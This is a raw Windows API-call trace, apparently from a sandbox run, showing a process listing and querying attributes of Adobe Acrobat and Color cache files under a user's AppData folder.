	[0066.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0066.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0066.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.174] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.174] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.175] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.175] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0066.175] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.175] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0066.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
	[0066.176] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.176] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c)) returned 1
	[0066.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb)) returned 1
	[0066.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.189] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.189] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
	[0066.189] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.189] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4)) returned 1
	[0066.190] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1
	[0066.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5)) returned 1
	[0066.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.195] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.195] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1
	[0066.195] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0066.195] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.195] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c)) returned 1
	[0066.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.203] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1
